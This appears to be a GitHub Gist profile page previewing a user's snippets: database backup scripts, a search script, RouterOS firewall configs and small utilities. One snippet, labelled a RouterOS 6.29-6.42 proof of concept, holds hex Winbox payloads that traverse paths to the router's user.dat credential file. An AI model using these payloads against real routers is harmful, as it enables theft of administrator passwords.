Skip to content

Instantly share code, notes, and snippets.

View vibbow's full-sized avatar
🏠
Working from home

vibbow

🏠
Working from home
View GitHub Profile
@vibbow
vibbow / php-mssql-backup.php
Created January 22, 2014 22:46
PHP MSSQL 备份脚本
<?php
define('MSSQL_HOST', '127.0.0.1');
define('MSSQL_USER', '[USERNAME]');
define('MSSQL_PASS', '[PASSWORD]');
define('BACKUP_TEMP_DIR', 'd:\\mssql_backup\\tmp\\');
define('BACKUP_DIR', 'd:\\mssql_backup\\');
$start_time = time();
@vibbow
vibbow / search.php
Created January 22, 2014 23:50
PHP 全文搜索脚本
<?php
define ('DB_SOURCE', 'd:\\data');
define ('CACHE_LIMIT', 4194304);
define ('RESULT_LIMIT', 1000);
define ('TIME_LIMIT', 600);
$begin = microtime(true);
set_time_limit(TIME_LIMIT + 100);
ob_end_flush();
@vibbow
vibbow / ros_642.php
Last active August 1, 2020 12:05
RouterOS 6.29-6.42 直接读取密码的 POC
<?php
$payload_a = "680100664d320500ff010600ff09050700ff090701000021352f2f2f2f2f2e2f";
$payload_a .= "2e2e2f2f2f2f2f2f2e2f2e2e2f2f2f2f2f2f2e2f2e2e2f666c6173682f72772f";
$payload_a .= "73746f72652f757365722e6461740200ff88020000000000080000000100ff88";
$payload_a .= "02000200000002000000";
$payload_b = "3b0100394d320500ff010600ff09060100fe093502000008008000000700ff09";
$payload_b .= "040200ff88020000000000080000000100ff8802000200000002000000";
@vibbow
vibbow / php-mysql-backup.php
Created January 22, 2014 22:47
PHP MYSQL 备份脚本
#!/usr/bin/php
<?php
define('MYSQL_HOST', 'localhost');
define('MYSQL_USERNAME', '[USERNAME]');
define('MYSQL_PASSWORD', '[PASSWORD]');
define('BACKUP_TEMP_DIR', '/tmp/mysql_backup/');
define('BACKUP_DIR', '/var/backup/');
$start_time = time();
@vibbow
vibbow / regex.md
Created June 4, 2020 15:48
regex.md

[^=]+$

[^=]+$

Options: Case sensitive; Exact spacing; Dot doesn’t match line breaks; ^$ don’t match at line breaks; Greedy quantifiers; Regex syntax only

  • [Match any character that is NOT a “=”][1] [^=]+
    • [Between one and unlimited times, as many times as possible, giving back as needed (greedy)][2] +
  • [Assert position at the end of the string, or before the line break at the end of the string, if any (line feed)][3] $
/interface ethernet
set [ find default-name=ether1 ] name=ether1-telecom
set [ find default-name=ether2 ] name=ether2-cmcc
/ip firewall address-list
add address=192.168.0.0/16 list=Connected
add address=172.16.0.0/12 list=Connected
add address=192.168.0.0/16 list=LAN
add address=172.16.0.0/12 list=LAN
add address=36.128.0.0/10 list=ROUTE_CMCC
add address=39.128.0.0/10 list=ROUTE_CMCC
/ipv6 firewall address-list
add address=::/128 comment="defconf: unspecified address" list=bad_ipv6
add address=::1/128 comment="defconf: lo" list=bad_ipv6
add address=fec0::/10 comment="defconf: site-local" list=bad_ipv6
add address=::ffff:0.0.0.0/96 comment="defconf: ipv4-mapped" list=bad_ipv6
add address=::/96 comment="defconf: ipv4 compat" list=bad_ipv6
add address=100::/64 comment="defconf: discard only " list=bad_ipv6
add address=2001:db8::/32 comment="defconf: documentation" list=bad_ipv6
add address=2001:10::/28 comment="defconf: ORCHID" list=bad_ipv6
add address=3ffe::/16 comment="defconf: 6bone" list=bad_ipv6
<?php
define('HOST', '192.168.163.111');
define('PORT', '80');
$test1_low = 0;
$test1_high = 0;
$test2_low = 0;
$test2_high = 0;
<?php
$fileUrl = 'http://repo.packagist.org/packages.json';
$options = array (
'http' =>
array (
'follow_location' => 0,
'max_redirects' => 20,
'proxy' => 'tcp://127.0.0.1:8888',
$all_app = Get-AppxPackage
foreach ($each_app in $all_app)
{
$each_family_name = $each_app.PackageFamilyName
$each_capability = (Get-AppxPackageManifest $each_app).Package.Capabilities.Capability
if ($each_capability)
{
if ($each_capability.Name.Contains('internetClient') -or $each_capability.Name.Contains('internetClientServer'))